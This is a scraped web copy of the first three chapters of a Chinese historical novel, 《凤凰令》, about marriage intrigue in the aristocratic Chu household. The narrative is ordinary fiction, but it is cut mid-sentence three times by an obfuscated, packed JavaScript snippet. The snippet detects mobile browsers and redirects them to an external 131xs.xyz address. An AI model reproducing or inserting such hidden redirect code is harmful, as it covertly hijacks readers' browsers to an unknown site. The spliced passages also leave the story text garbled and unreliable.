《凤凰令》 1. 第 1 章 天青日淡,鹤影伶仃。 建业坐落江东腹心之地,是南国十省精华所在。 五胡乱华前,建业已经是南方最繁华的都会,在帝室南迁后,建业一跃为南梁新都,更是富丽奢靡。 《春秋左传正义》云:“中国有礼仪之大,故称夏;有服章之美,谓之华。”所谓华夏,就是汉文明所笼罩的土地。 强汉时期,北至瀚海,南至罗浮俱为王土,只可惜本朝皇室内乱,丢了北方,不得不偏安于东南一隅,岂不让人新亭对泣? 神州万方,南北疏异,建业坐落于江东腹心,青松翠柏四季常青,每至秋天,飒飒西风吹过,白鹤坊褚府院落里都会落得黄花满地金。 青衣僮仆手提白绢丝罗纱袋,按照郎主的吩咐仔细收捡残花,留待郎主制香煮茶。草木痴客,明谨司空,褚相公痴爱花石草木,确是一件天下闻名之事。 不过此时,被时人称为草木痴客的褚蕴之却没了侍弄他绿水秋波的心思,反倒是眉头轻皱,端坐于檀木桌后。 轻舀香粉投入红泥香炉里,纵然心情极度不悦,褚蕴之的动作依旧不紧不慢,时人赞颂“褚相端静,如风入松,泰山将崩,相亦不改其色”,确有几番道理。 褚蕴之好似没看到跪在堂下哭泣的女娘,只慢悠悠的素手调香。 褚鹂原本只是在装哭,可在祖父的漠视下,她这份梨花带雨,终究变成了狼狈恸哭。 但是,矫揉柔美的哭声能打动温柔体贴的郎君,让之怜惜清荷带露的姿态。却无法打动褚蕴之这样在朝堂上浸润多年,心如铁石的宰臣。 见祖父不动如山,褚鹂只得一边拭泪,一边偷觑他的脸色。 但褚蕴之低眉敛首,褚鹂根本看不到他的神情。 无法察言观色,褚鹂心中更加惴惴不安。渐渐地,伪装出来的可怜变成了真心实意的惶恐。 她身体不由自主地颤栗,褚蕴之却依旧不置可否。 他不开口,堂内便再没人敢开口打破这片寂静。 当然,也没有人想这么做。 ——除了褚鹂的父亲以外。 一时之间,明谨堂内只余褚鹂的嘤嘤啜泣声,除此之外,默然一片。 褚鹂终于发现,事情没有她想象得那样简单。 以往犯错,有做继承人的阿父阿母护着,向来都浮皮潦草地揭过去了。 她是老来女,无论怎样闹脾气,只要装可怜,阿父阿母都会庇护她。 可现在事情犯到了大父手里。 就连阿母都被大父禁足了,又有谁能救她? 她到底该怎么办! 大父可不是会心软的人。 褚鹂心头发慌,但她真的不想嫁到赵家去,更是真心喜爱王郎。 现如今她已经怀了王郎的孩子,已然没有退路了! 她咬咬牙,狠下心来砰砰砰冲着青石地板上磕头,一直磕到脑门渗血,才膝行上前抽噎道:“大父,孙女万死难当!但求您给孙女一条活路吧!” “千错万错全都是孙女的错,是孙女被猪油糊了心,做了对不起五妹妹的事!是孙女情不自禁不要脸面,咳,咳……” 她说着说着竟咳起来,力竭道:“佛家说救人一命胜造七级浮屠,求大父看在孙女孩儿的份上,饶孙女一命吧。” “叔父,鹂娘不知三郎正在与妹妹议婚,鹂娘虽做了偷香窃玉之事,却不是故意抢妹妹夫婿的无耻之人。” “婶婶,您是个慈悲的好人,就算您厌恶我坏了妹妹的好姻缘,也求您不要迁怒我腹中的孩儿……他什么都不知道,他是无辜的啊!” 在孙女唱念做打声泪俱下的表演声中,褚蕴之终于掀开了眼皮。 褚鹂恼恨褚蕴之心狠,嘴上却凄绝:“大父……” 褚蕴之意味不明地唔了一声。 褚鹂硬着头皮继续道:“孙女犯了错,但孙女的所作所为和阿母没有关系……大父就算要杀了孙女,也请您饶了阿母吧。阿母是当家主母,褚家宗妇。今日禁足佛堂,他日焉有颜面面对族内上下,家中男女?” “女儿不肖,却不能牵连生身之母。” 褚鹂杏眸含泪,心怀侥幸地打量褚蕴之。 她与大父很少接触,却知大父是孝廉的出身。 她这般心念着母亲的安危,大父或会因为她的孝顺有一点点的动容罢? 褚蕴之被褚鹂喋喋不休的哭诉与种种内宅伎俩闹得头疼。 若褚鹂不是他的孙女,他根本不愿多看她一眼。 这娘子无耻做恶,给他惹出了颇多事由?现在还有脸用浅薄话术求他开恩,真真不知所谓! 褚鹂把褚蕴之冷漠的眼神看了个正着,心底一凉,连忙转身向被她害的正主膝行而去。 她语气悲戚:“五妹妹,五妹妹!阿姊给你磕头了,阿姊对不住你!阿姊知道你最心善,求你劝劝大父给阿姊一条活路吧!” “阿姊知道你喜欢小孩子,你一定不忍心我们母子双亡罢!五妹妹!” 褚鹂说得可怜,但她哪里有值得可怜的地方? 害人者向受害者相求,这简直就是南梁最大的笑话。 褚鹂又凭什么让别人割肉饲虎,菩萨心肠到为害人者求情呢? 被害者褚鹦只瞥了一眼堂姊清丽的脸,嘴巴闭得紧紧的。 她根本不接褚鹂的茬儿,只给母亲杜夫人身边的老嬷嬷使了眼色。 何姥会意后立刻疾行至褚鹂身前,她托住褚鹂的胳膊,止住了她磕头的动作。 不等褚鹂开口,何姥就直通通地跪下去,老泪纵横地请罪道:“四娘子,奴婢这厢得罪了!日后大夫人要打要骂,奴婢悉听尊便。只咱们五娘子人小福薄,当不起您这做阿姊的跪拜啊!” “奴婢浅薄,但也知道,若您磕头动了胎气,日后咱们五娘子便有一百张嘴也说不清了。她还是个小娘子,却是受不起这样的流言的!” 何姥言之凿凿,又是人小福薄,又是小娘子,一字一句,宛若巴掌一般打到了褚鹂父亲褚定方的脸上。 她这是在指责四娘子犯了错还牵连攀扯,好不要脸哇! 褚定方面皮发烧,可他终归他是褚鹂的父亲,即使再痛恨褚鹂淫奔,丢了他的脸面,但还是心疼这个爱了多年的孩子。 更何况,这孩子现下还怀了孩儿。 想到这儿,褚定方避开二弟一家人的眼睛,想让何姥不要威逼尊主。 可话刚到嗓子边,褚定方就再次纠结起来。 ——阿父端坐上首,对何姥的言语举动没有斥责。 这代表什么? 这代表,这奴婢的放肆举止已经被阿父默许了。 意识到这点后,褚定方脸色瞬间变得苍白起来。 那些不要脸皮的偏袒之语,也被他囫囵吞了下去。 他看向父亲,心想,要是阿江在家里就好了。 除了老二,家里顶数阿江会猜父亲的心思。 杜夫人恨恨地瞪着大房那对天杀的父女,眼中怒火正在熊熊燃烧。 褚定方的小动作根本逃不过她的眼睛。 在褚鹂与王三郎被爆出私通那等龌龊之事后,杜夫人便看长房的人个个都不顺眼,甚至恨不得跑过去给他们挨个打耳光。 现下看到褚定方的欲言又止的神情,杜夫人更是心头火起。 褚定方若还有些德行,就该好好骂骂他那寡廉鲜耻的女儿! 可他没有。 他只一味地在屋里装死人。 如此看来,褚定方是一丝愧疚都没有了! 何姥揭穿了褚鹂的小心思,这让褚鹂身子一僵,只得故技重施,顺着脸庞淌下两股清泪。 褚鹦心中冷笑。 褚鹂还真是会给她戴高帽。 五妹妹心善? 我赞了你心善,你就要替我这个抢了你未婚夫婿的罪魁祸首求情,还要高高兴兴说没关系。 鹂姊讲的,就是这种心善吗? 那这心善的代价可真够大的。 想来道教师君、寺庙法师都没有这般以德报怨。 所以,褚鹂的话当个笑话听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285497|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就行了,压根儿不必放在心上。 明谨堂正中悬挂着前朝周云子的松鹤图,以示主人高洁淡泊之志趣。 青松苍翠,白鹤潇洒,兼以嘲讽名臣禄鬼之心、追名逐利之念的五言由行草书就,果真清标爽朗。但褚鹦视线掠过图卷后,却产生了富贵乃我愿,帝乡尚可期的想法。 安贫乐道、清朗爽举固然是世间第一等人,但她这等名臣禄鬼却也好过豪门豚犬百倍,不能被列入二流之辈。 香篆在炉中徐徐焚烧,散发出松柏与苏合杂糅的清新香气。 看完台下一出大戏后,褚蕴之终于缓缓开口。 “四娘子,事情都做了,致歉有用吗?一句对不住我错了,就能撤回你所犯的错误?” “你这女郎心怀鬼蜮,犯了大错后不思悔改,还以小计算人!自以为悲戚啼哭就能把大事化小,你把事情想得也太轻巧了。” “你竟谎称不知道王家三郎正在与你妹妹议亲?满京皆知,白夫人心悦五娘,你怎么好意思说出这等话?” “自甘下贱,了无友悌之心。我家怎么会有你这样的女郎?你阿父是怎么教导你的?” 褚蕴之年高德劭,位居两千石,像他这样的重臣多住于台城之内,平日里更是往来于公府之间。 如此一来,他与褚家的第三代相处得不多。 尤其是家里的女郎,他基本上一年都见不着几次面。 相处得少,就代表着感情不深,这意味着他根本不吃褚鹂的那一套。 褚鹂的小计策,只对在乎她的人有效。 这位褚家的大家长声音冰冷,裹挟着在朝堂几十载养出的威严如渊如岳地压了下来。 褚鹂虽备受父母宠爱胆大妄为,其人也不过寻常闺阁女子,哪里承受得了这样的气势? “败坏家声,无耻之极!阴谋鬼蜮,威逼亲亲!你与王三媾和,尚自鸣得意!居然还有脸哭?” 褚定方端坐于席,隐藏在衣袖里的手掌却是紧紧地攥着,青筋暴起。 褚鹂和王荣有私情,着实让他丢尽了颜面。可不论怎么说,褚鹂也是他疼爱多年的女儿啊! 阿父这般严厉,莫不是要把鹂娘溺死? 鹂娘怀了孩子,阿父为何不能够对鹂娘多一点宽容呢?韩寿偷香尚有佳话,阿父不会真的要去守那套陈旧家规,杀死他女儿吧? 这可怎生是好? “阿父……” 褚定方稳下心神,嘴唇颤抖,悲声道:“鹂娘她……” “怎么?老大,你要为你女儿求情?” 褚定方被父亲冰冷的眼神吓得脊骨发凉,他嗓子倏然发哑,竟说不出话来。 见到褚定方这副三棍子打不出半个屁的脸,褚蕴之的心情就变得更加恶劣了。 他半点儿没给褚定方留脸面,劈头盖脸地就是一顿呵斥。 “老大,你还有脸面为四娘子讲情吗?你侄女正看着你呐!” “你还记得赵元英对你的救命之恩吗?当时为了报答他,你与他约定在朝中互为表里,还信誓旦旦地答应他要与他结儿女亲家,把我家贵女下降给他视若珍宝的嫡长子!” “那时我不愿与兵家子结亲,是你跪着来求我,我才答应的。如今赵家的嫡长子也十八了。你说,这事情该怎么办?” “若赵家还是十五年前那个刚擦干净腿上泥巴的乡野土豪,我褚家自可随便塞给他们家一个旁支女儿。” “可眼下赵元英身兼徐、豫州两州刺史,他二弟元美又得了楼观掌教大真人青眼,加封第十三代护教真人,清名日盛。就算我褚家名列一流,也不能拿庶女旁塞给人家儿子做冢妇。否则那就不是报恩,而是羞辱了?” “你在那里杵了半天,可想到这件事了?” 褚定方瞳孔微缩,是了,他只记得担忧二弟的怨怼,只记得担忧女儿的性命,却忘了他对赵家的许诺。 赵元英那人脾气暴烈,极爱他早逝嫡妻留下的嫡长子,断然不能容忍褚家羞辱他那宝贝儿子的。 眼下,这可怎么办是好? 2. 第 2 章 听到父亲的话后,褚定远冷笑出声。 他眸淬寒芒,不乏恨恨之意! 三年前,六房三娘出阁,已经嫁到青川聂家。 在三娘出嫁后,尚书府只有四娘与五娘两位待嫁年纪的嫡出女郎。 这两年,五娘已经开始出门交际。 今日听戏,明日赏花,后日赴宴,一方面是为了让五娘认识朋友、学习交际,另一方面,就是让各家夫人相看褚家贵女。 五娘明丽爽利,想迎五娘入府为妇的夫人不在少数,可谓一家有女百家求。 琅琊王家是五姓世家、相门权府,清望和势位全都不缺,家里小郎又俊美可爱,可堪为婿。 最重要的是,王家白氏夫人极其喜爱五娘。 他和夫人很满意王家,已经和白夫人达成默契,待阿鹦及笄就下六礼。 父亲对这桩婚事同样满意,王家一门双公,阀阅中两千石者数不胜数,极为尊荣富贵。 虽然他们褚家在前朝出过不少位列两千石的相公,今朝也有御史大夫的褚雅这样的先祖。但与王家这样的青兖公卿相比,权势上还要差上不少。 如果不是祖父褚济安擅经营、识渊博,经营好陈郡家业,扩充田土庄园,开放藏书高阁,提升了自家乡望。又通过治经、讲学和谈玄赢得了“豫州儒宗”的美名清望,褚家何以重回高门视野? 如果不是父亲褚蕴之在父亲的基础上,获得了乡议二品的高阶,进而能与王沈人家的子弟站在了同一起跑线上攀爬,后又凭着政治上的天才禀赋,带着褚家重回一等高门的队伍中,褚家何以有今日的风光? 可是,即便如此,与王沈人家来说,褚家终究欠缺底蕴。 褚蕴之会对王褚联姻乐见其成,也就不奇怪了。 可如今,褚鹂做出了这等无媒苟合的事情!在褚定远心里,这一切都是他的好大哥在算计。 褚定方做尹城令时,遭遇胡寇侵华,是赵元英带兵救了他一条性命。 当时,褚定方要以千金、玉璧、传世藏书酬赠恩情,赵元英不受,只道“救助君子,是我九世修得的福报,怎能收受君子的金玉呢?” 又道“我膝下养育一亡母小儿,可怜可爱,不知褚家可有贵女,若能下嫁我家,门户必将流光溢彩。我可以许诺,我儿此生,绝无异生之子。” 面对赵元英的挟恩求报,褚定方不知如何是好。 可救命之恩无以为报,褚定方虽不愿女儿嫁去兵家门户,但最终,还是答应了婚事。 但褚蕴之不想答应这桩可笑的婚事。 赵家想迎娶高门大妇,不过是想通过联姻的方式抬高自家门楣。 可赵家与褚家的出身,简直就是一个天,一个地,褚蕴之怎愿俯就浊流? 褚家虽落魄过,但翻开阀阅,就能看到一大片前朝高官与名士先祖。 即便在最落魄的时候,褚家也只是没有势位,子弟依旧有官做,满门都是儒生清流,为世人推崇赞赏。 在九品中正制度下,靠着清望和底蕴,只要出几个如同褚济安和褚蕴之这样的天才精英人物,褚家很快就会重回一等高门的行列中来。 其他的高门,也不会排斥褚家上位。 赵家则不同,虽然赵元英已经是方伯了,但他的寒门出身改不掉。 如果不是杂胡乱华、国内诸王叛乱、天子南迁京府,北地国土沦丧大半,赵元英及时纠集乡人组成镇北军,就食当地、奋勇作战,依靠萧山险峻,护住了萧山关以南的豫徐之地,他根本不可能有现在的权位。 甚至不可能有出仕的机会。 所以说,赵家不过是从寒门打拼起来的乡野豪宗、以兵起家的西北军阀。既无清望于世,有无家学延承。 翻开阀阅一看,除了赵元英外,半个两千石都没有。 郡中乡议,赵家可能都找不出一个七品出来。 这样的人家有提升自家门第的迫切渴求,但高等门第不和低等门第通婚,只看褚家世代流传的清望和如今的权位,就不是赵家能肖想的。 即便是在褚家落魄时,也不会有寒庶子弟妄想自家能够妻褚家之女。 褚蕴之不同意,就是不想让家声轻堕。 他们家几代人的努力,难道要因为这桩婚事增加污点吗? 可赵元英只要这个做回报,褚定方跪着求褚蕴之答应——时人讲究恩重,若不能报恩,他的清名就全都没了。 最后还是赵元英许诺大郡之位,“送礼”送到了需要方镇支持的褚蕴之心坎上,褚定方又要死要活地恳求褚蕴之,褚蕴之才答应了褚定方的请求,答应与赵家约定为儿女亲家。 如今两家儿女都到了适婚年龄,赵元英来信,送了东安太守的“聘礼”过来。 东安地处豫、梁交界地带,退可在毗邻徐郡的豫州经营褚家祖业,进可窥伺胡儿的梁州三公郡博取功名。 虽然赵元英不可能让外人在他的地界执掌兵权,但随着婚姻缔结,事情总会有所转机。 从价码上看,赵元英已经很够意思了。 他们家开出这样优渥的条件,就是为了娶褚家嫡出女郎洗淡赵家、尤其是赵家后辈的寒门味道。 本来褚鹂嫁过去就好了,毕竟是褚定方欠了赵家的恩情。他的恩情,总不能让他弟弟的女儿褚鹦去还吧? 这本来是皆大欢喜的事,可谁知褚鹂和那王家三郎私通结好! 褚定远当然会讥笑,会觉得这里面有阴谋。 他心想,肯定是老大卖女儿卖的欢喜,事到临头又舍不得,要做慈父,所以才嘱咐褚鹂搞出这样的幺蛾子,省得嫁到前线兵家寒门吃苦,再逼迫他们家五娘去堵窟窿! 要不然,怎么就好巧不巧,与褚鹂私通的人是他和夫人选好的女婿! 褚定方对褚鹂的事情不知情,他刚刚还在心焦鹂娘私通,赵家那边该如何解释,却没把赵家和二房联系到一起。 可听到父亲让他看侄女的话,听到弟弟讥讽的笑声后,他才后知后觉的把所有事情联系到一起。 是啊,赵家已经定下了褚家女,以东安太守之位虚位以待,不可能轻易松口婚事。 他们家求的是褚家嫡出女郎,若付出这样大的代价,最后还只是讨了一个旁支女儿回去,他们怎么能够甘心? 如果同意迎娶旁支女儿做他家嫡长子的媳妇,分明是在告诉其他高门,时至今日,赵家仍旧是寒伧门第,只要随便送去个旁支就能拉拢! 现在解决这一团乱麻的最好办法就是委屈褚鹦嫁到赵家去。 让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285498|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家女孩儿因为别人抢了自己的夫婿、犯了错而不得不嫁给一个兵家子,去给犯错之人的父亲报答救命之恩! 这……无论是谁都无法容忍这样的事! 不怪老二冷眼于他,可他真的没有设下这样的阴谋啊! 他和老二之间的感情虽然并不似书中所写的那般孔怀相亲,可好歹两人是嫡亲兄弟,感情还算融洽。他绝无害人之心,更无设计侄女之意。 褚定方如坠冰窟,他想为褚鹂说话,只是关心则乱,没有思及此处。现在想到了这里,就不得不把赵家对他的救命之恩和赵家对娶一位高门嫡女做大妇的迫切恳求联系到一起。 他脑袋嗡鸣,这一切都像他褚定方在自导自演——好处他拿了,却要让老二的女儿代人受过。 他心疼女孩儿,老二只会更心疼女孩儿!老二素来最爱他家五娘,那娘子是他膝头长大的明珠,他甚至在私下里说过“得此狸奴,当为天眷”这样的话。 若是这么想下去,老二怎么可能不心生怨怼? 还有…… 这些他能想到,老二能想到,那么阿父,又怎么想不到? 褚定方忍不住抬眼看向褚定远,却见二弟神色不虞。又去看侄女,褚鹦眸色冷淡,看不出来她在想什么。 而当他看过去的那一瞬间,褚鹦黑白分明的眼睛动了动,唇角竟漾出一抹笑来。 可这笑让人感受不到温暖,反而让人感到诡异,此前他从未认真看过五娘,现在却发现,这娘子生的,怎么这么像她祖父? 就在褚定方出神怔愣时,白玉香勺从天而降,打到他额头上,出了好些血。还没等疼痛感反应上来,投掷香勺打儿子的褚蕴之就已经戟指褚定方:“怎么?看着你侄女,你说不出话了!” “现在回答我,这件事,你打算怎么处理,怎么替你家这个孽障收尾?” 褚定方说不出话,他总不能说让褚鹦替嫁,更不愿说直接打死自己的女儿。 看到褚定方懦弱无措之态,褚蕴之简直气不打一处来。 他真是恨不得再打褚定方一次。 狠狠地闭上眼睛,压下了从心底升腾而起的火气后,褚蕴之看向另一个当事人,对褚定远道:“老二,你觉得呢。” “把那贱人沉塘。” “大嫂是幕后军师吧?让老大把她休回家去!否则我就和老大分家。” 褚定远清凌凌的眸子看向父亲:“我知道老大在想什么,我也知道您在想什么。” “老大无非是想让我们五娘和那贱人互换身份摸平此事,您无非是想把那贱人关进家庙,再致书赵家,说四娘染了恶疾,换五娘嫁过去。可是我不答应。” “我如珠似宝的女孩儿,凭什么被你们这样糟蹋?” “还有王家子,他犯了错就能隐身吗?凭什么!这件事一定要公之于众,就算褚家清名有损,我都在所不惜。” “真相不公之于众,就永远有委屈存世。我不想让我们一家一辈子都过那样憋屈的生活。” 杜夫人看着清俊孱弱的丈夫,第一次觉得褚定远这样男人。 而被次子这幅鱼死网破的模样噎到说不出话的褚蕴之只好看向那个眉眼和他相似的女郎。 “五娘子,你又是怎么想的呢?” 3. 第 3 章 褚蕴之看向孙女,只见褚鹦没有皱眉,没有恼怒,没有哀怨,更没有恸哭。 她只是拈着一把孔雀翎制成的羽扇,闲闲坐在檀木桌后。 这女郎今日穿了一身蔷薇色直裾,衣上绣了大片的凤凰花,头上梳着漂亮的堕马髻,斜插五凤朝阳挂珠钗,钗上垂着用指头那么粗的绯红珍珠攒成的坠子。 即便被四娘抢了未婚夫君,她神色依旧冷静,打扮更是精致讲究,看不出丝毫失落狼狈。如此自持,竟让他恍惚间思及亡父的音容笑貌。 听到褚蕴之问话,褚鹦放下手中羽扇,起身开口:“父母之命,媒妁之言。儿女婚事,素由长辈做主。但如今出了这等事……” 她好似说不下去这等污糟事般停顿了一下,然后继续道:“大父垂询,不得不答。鹦斗胆言之,随意一听即可。” “只是,在此之前,鹦想问大父几个问题,还请大父为我解惑。” 杜夫人突然心慌起来。 五娘如此冷静自持,不像寻常被抢了夫婿的委屈女郎,这本是让她欣慰的事。 但是现在面对公爹垂询,五娘仍旧冷静,还对公爹提出问题,她打算做什么? 杜夫人想打断女儿的话,她不害怕女儿意气用事惹恼公爹,只担心女儿随便应了什么事情吃亏受苦! 现在解决由四娘子私通造成的种种坏影响的最好办法,就是让自家女儿嫁到赵家去,收拾四娘子留下的烂摊子。 郎主都撕破脸了,公爹却还在问五娘,简直就是不安好心! 他难道就如此偏爱长房吗? 但仅存的理智告诉杜夫人,不可以在这个时候开口。 这个家里,做主的人,终究只有公爹一个。 “你想问什么?” “我家与兰陵郑家乃通家之好。我曾听闻,先文穆公乃郑家嫡幼子,天资出众,为其父所爱,遂倾尽全族之力,令文穆公入主中枢,为郑家鳌首。” “众所周知,世家势力不因异爨而削,文穆公少得便利,因而终生未得分家,且不得不压制亲子扶持长房诸侄,只为还恩,此事是也不是?大父对文穆公故事,可曾觉之可惜?” 听着褚鹦娓娓道来的典故,褚蕴之神色微变,褚定方心中更是滋生出许多不安来。 “然,女娘所述之事尽为真实,我对文穆公一家之事,确实觉得大为可惜。” 褚家和郑家乃通家之好,褚蕴之对这件往事的细节比旁人知道的还要深。 对那个为了家族牺牲自己,甚至自己那一支后代子孙至今还被嫡支忌惮的文穆公,褚蕴之确实甚是惋惜。 命运多舛,天不幸之,徒之奈何? 但从另一个方面来说,身不为嫡长、却想要最多的资源,本就该付出代价。 正是因为文穆公的经历,他虽爱重定远,却不肯逾距,省得家宅不宁,最后落得悲惨结局。 “多谢大父解惑,我还有一问。” 得到了想要的答案,褚鹦的心情变得很愉悦。 “你说吧,五娘子。” “大父,试问,我家与赵氏议婚事,知之者可广?” 褚定远夫妇瞬间白了脸色。 他们想要起身要打断褚鹦的话,褚蕴之却扫了一眼室内忠仆,这对夫妻瞬间被人按着坐了下来。 五娘不是傻子,又有父母支持,怎么会如了褚鹂的意? 联系褚鹦讲说的文穆公典故,褚蕴之突然意识到了些什么。 但他没有打断褚鹦,反而张口道:“知之者寡,并无风言行于市。” 一般来说,只要还没走六礼,商量议亲的人家就不会把消息泄露出去。 赵家挟恩求报更不光彩,除了他们两家,更无他人知悉褚赵联姻。 褚蕴之话刚说完,褚鹦就干脆利落地接着道:“鹂姊之事,本与孙女无关。只是思赵公威重日深,不可轻易罪与。又思我家家声,几代经营,殊为不易。若外无风言,我愿适与赵家,解我家危难。” 看着少女暗含喜色的脸,褚蕴之心中暗叹,不知这娘子想要的报酬,他能不能给的起。 褚定方听到褚鹦的话,一时没有深思,脸上就已经浮现出喜意,就连心中不安都被喜意给压下去了。 “褚鹦!” 杜夫人爱女心切,忍了好一会儿,还是没忍住疾声高喊女儿的名字,她的音调相当高,不复寻常轻声细语。好似是要大声一点,把褚鹦喊醒一样。 褚定远更是急切地呵斥道:“闭嘴,五娘!你家父亲还没有沦落到卖女求荣的地步!” 如果女儿没有做了牺牲自己成全父亲的打算,那么她怎么会和父亲讲文穆公典故! 可他才不要牺牲自己的女儿! 回头看看已然泪流满面的杜夫人,褚定远更是心中一刺。还没等到他用力挣脱仆人,就见杜夫人已经挣脱仆妇之手,快步上前,“扑通”一声、直直跪倒在褚蕴之面前。 堂内青石地砭人肌骨,杜夫人这么直直一跪,脸色倏然变得苍白起来,让人不忍细观。 “妾入褚门,二十余载,孝敬舅姑,管家理事,生儿育女,相夫教子,几无错处,毫无所求。今时今日,只求公爹不要被小女之胡言扰乱视听!豫州危险苦寒,妾实怜小女,不忍分别。” “惟愿小女嫁于京畿,常常相见,方全母女之情。鹂娘无状,与我女无关。王赵权位,亦非我女可攀。还望公爹明断。” 杜夫人说完,重重地磕下去一个头,再抬起来时,白皙额头上青紫一片,形状十分惨烈。 褚定远心中悲楚,立即疾呼管家着人去请疾医,心中一狠,用尽全身力气挣脱仆人之手,大步走到杜夫人身边,同样直挺挺地跪了下去。 他一句话都没说,但又好似什么都说了一样。 褚蕴之眼中精光湛湛,看着儿子。 而跪在杜夫人身边的褚定远也是老神在在,丝毫不让地看着自己的父亲。 他心情悲壮,头脑却清醒,因此没和父亲继续吵,而是对褚定方高声道:“阿兄,你说句话啊!难道你要看着我们一家去死吗?” 因褚鹦“懂事”升起的喜悦,被褚定远的一句话弄得戛然而止。 褚定方一下子就被他二弟给逼到了张口结舌的地步。 看到阿父阿母如此果断地站在她的这一边,褚鹦心里满是温柔。 但她并没有被喜悦冲昏头脑,她很明白,大父是极端理智的人,就算他可能会有所不忍,但绝不会做出对褚家不利的选择。 褚鹂敢和王荣那个贱人勾搭到一起,不就是看准了大父家族利益为上的性格特点吗?! 既然如此,就让他们两个人天长地久地烂在一起吧! 不过,她可不会让这两个人顺心如意、喜乐平安地在一起。 王荣这样轻口薄舌的浪荡子,对于她来说没了就没了。 但她们二房,绝不是大伯和大伯娘手中的棋子,可以轻易为人所控。 其实,她早就发现堂姐和王荣之间的不对,等待揭发堂姐这一天也等了很久了,甚至那个向褚蕴之告密的小婢女,都是褚鹦亲自安排的。 而现在,褚鹦心想,或许他们一家更惨些,她的计划才能更顺利。 思及此处,褚鹦立刻跪到父亲母亲身边。 二房三口人跪在褚蕴之面前,脸色苍白,煞是可怜。 借着衣袖的掩饰,褚鹦悄悄握住杜夫人的手。 杜夫人感受到女儿手心的温热,以为女儿回心转意,心头一喜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285499|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是还没等她高兴起来,一盆凉水又重新浇在杜夫人头上。 只听褚鹦抬头对褚蕴之道:“大父,鹦为褚氏女,自要做出理智选择。阿父阿母爱女心切,请大父勿要忧怒。” “五娘!” 杜夫人难以置信地看着褚鹦,握着褚鹦的手不由自主地收紧。 褚鹦没有挣开杜夫人的手,即便杜夫人的力气很大,她的手很疼。 她说出了一段让褚定方目眦欲裂的话:“大父,阿父阿母若有行为无状,唯有慈爱一词可以解释。我是阿父阿母娇宠的幼女,素来见爱膝前。如今鹂姊不轨,我为之所累,阿父阿母自然伤怀于内,忧色于外。” 说完,她又看向褚定方,微微笑道:“伯父,我想问,若我嫁于赵门,长房是否亏欠我?侄女为叔父报恩,是否为天下笑耶?” 褚定方被她挤兑的神色不安,强自绷住面皮,点头道:“是这样,是我一家有愧于你。”。 “大父,我阿父文采精华,才干优长,长于经济事务,亦有经世之才。我曾听闻师公抡才,言阿父之才,做一部天官,为台中两千石,绰绰有余矣。” “我知世家继承人选,当为嫡系长宗。因此阿父放弃了郑中书的招徕,只因伯父是王中书的属官。” 郑中书是郑戏才,任中书监;王中书是王望南,任中书令。这两人一人主战,一人主和,政见不合,互为仇雠。 “郑中书不安好心,这是实话。但我父退步,未尝没有委屈。今我又受屈,为鹂姊夺婿,已是奇耻大辱。此事虽不风闻于外,亦苦扰妾心。” 她那个又字说的声音很重,让人难以忽略。 “为我褚氏计,妾愿替鹂姊嫁至赵门,以全三家颜面。只我父曾为褚氏,弃中书公车于不顾。今日我又要为弥补褚氏不肖女郎之误,弃佳婿而许兵家!一退再退,誓不可忍!况我父我爱我,安忍见我受屈?” “妾无他愿。只求伯父将四姊于我之亏欠,弥补于我父之身。若此生能见阿父执政国家,妾死而无憾,更遑论嫁入赵门之小事!” “若我心甘苦求,我父必然情愿。如此家宅安宁可保,兄弟阋墙不在。阿姊之纰漏缺失,消弭无踪。如此两厢得保,岂不便宜?” 褚鹦说完,立即跪地稽首。 她这一通话说得又快又急,容不得别人插嘴半句。 没等到大家琢磨明白她怎么知道这么多阴私呢,她就已经把那些掩盖在锦绣堆下肮脏心思铺陈出来了,自然让人感到措手不及。 而且,她这些话,是没给褚定方,更没给自己留下一点儿退路啊! “大伯母不愿阿姐嫁入寒门兵家,是伯母之爱女情深。然,大父言赵公欲为其子迎我家嫡系女郎,而我家此辈当龄嫡系女郎,除阿姊外,唯我一人而已!” “大伯母纵容阿姊私通,败坏我家家声,计划阿姊筹夺我夫婿,所为者何?无非是逼我代嫁!伯母怜女情深,我阿父阿母难道就不怜惜小女吗?” “大父公正严明,威严决断,绝非偏私之人。当日阻拦我父为郑中书驱驰,亦有全局考量。我是小女子,不知悉旧事详情。但我愿为褚家受委屈,却不愿阿父阿母一退再退,此孝心故也。” “当日我父退让,是为了防止兄弟阋于墙,是为了家宅和乐。可如今长房伯母如此算计我,若还要轻轻揭过此事,我等凡俗身心怎能得安?” “我不要分家,也不要伯父休妻,更不要堂姐死。与王家定亲的就是堂姐,与赵家定亲的就是我,但我要陈郡一半祖业做嫁妆,要伯父和堂兄致仕。下一任褚家家主,只能是我父亲。” 